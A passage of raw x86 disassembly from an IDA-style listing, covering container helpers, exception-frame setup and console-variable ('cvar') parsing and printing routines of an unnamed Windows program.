N E ======================================= ; Attributes: noreturn sub_40AAB0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAB0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB9B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AB03 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AB05 ; --------------------------------------------------------------------------- loc_40AB03: ; CODE XREF: sub_40AAD0+26j mov ebp, edi loc_40AB05: ; CODE XREF: sub_40AAD0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB9B: ; CODE XREF: sub_40AAD0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABF9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j test edi, edi jbe short loc_40AC33 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACC0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACF2 push edi mov edi, [esp+10h+arg_8] loc_40ACD6: ; CODE XREF: sub_40ACC0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACD6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD37 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD26: ; CODE XREF: sub_40AD10+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD26 pop esi pop ebx loc_40AD37: ; CODE XREF: sub_40AD10+Aj pop edi pop ebp retn 0Ch sub_40AD10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD50 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD50 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADCD mov edx, [esp+arg_8] push esi loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADC1 pop esi locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj retn sub_40ADB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADE0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AE02 mov eax, [esp+arg_8] push esi loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADF1 pop esi retn ; --------------------------------------------------------------------------- loc_40AE02: ; CODE XREF: sub_40ADE0+Aj mov eax, [esp+arg_8] retn sub_40ADE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE40 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE4A xor eax, eax loc_40AE4A: ; CODE XREF: sub_40AE40+6j shl eax, 2 push eax call sub_437AEA sub_40AE40 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE70 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE8B: ; CODE XREF: sub_40AE70+11j retn sub_40AE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AEA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEC0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AED8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AED8: ; CODE XREF: ___:0040AECDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEF0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF21: ; DATA XREF: sub_40AF32o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEF0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF32 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF21 retn sub_40AF32 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF60 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF80 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AFA0 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFC2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AFA0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AFA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFE0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B007 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: ___:0040AFE9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B020 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B03C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B03C: ; CODE XREF: sub_40B020+8j pop esi retn sub_40B020 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B050: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B070 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B070 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B09E: ; DATA XREF: sub_40B0B1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B070 endp ; =============== S U B R O U T I N E ======================================= sub_40B0B1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B09E retn sub_40B0B1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0E0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B122 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B122: ; CODE XREF: sub_40B0E0+Bj pop esi add esp, 8 retn sub_40B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B172 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B172: ; CODE XREF: sub_40B150+6j pop ecx retn sub_40B150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B190 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B190 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B190 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B250 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B250 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2F0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_40B2F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B470 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B470 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B510 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B510 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B600 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B681 mov edi, [esp+10h+arg_0] loc_40B646: ; CODE XREF: sub_40B600+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B68B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B646 loc_40B681: ; CODE XREF: sub_40B600+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B600+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6D0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B760 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7B1 mov byte ptr [esi+19h], 1 loc_40B7B1: ; CODE XREF: sub_40B760+4Bj pop esi retn 8 sub_40B760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7E0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B835 mov byte ptr [esi+19h], 1 loc_40B835: ; CODE XREF: sub_40B7E0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8C1 mov byte ptr [esi+19h], 1 loc_40B8C1: ; CODE XREF: ___:0040B8BBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8F0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B920 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: ___:0040B8F8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B960: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B990 mov byte ptr [esi+19h], 1 loc_40B990: ; CODE XREF: ___:0040B98Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9B0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAF2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BAEB loc_40BA56: ; CODE XREF: ___:0040BAE5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 24h push 5DCh nop call near ptr 283030Ah lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA56 loc_40BAEB: ; CODE XREF: ___:0040BA50j mov al, 1 jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BAF2: ; CODE XREF: ___:0040B9E7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB85 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 1Ch jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: ___:0040BB04j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC78 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr 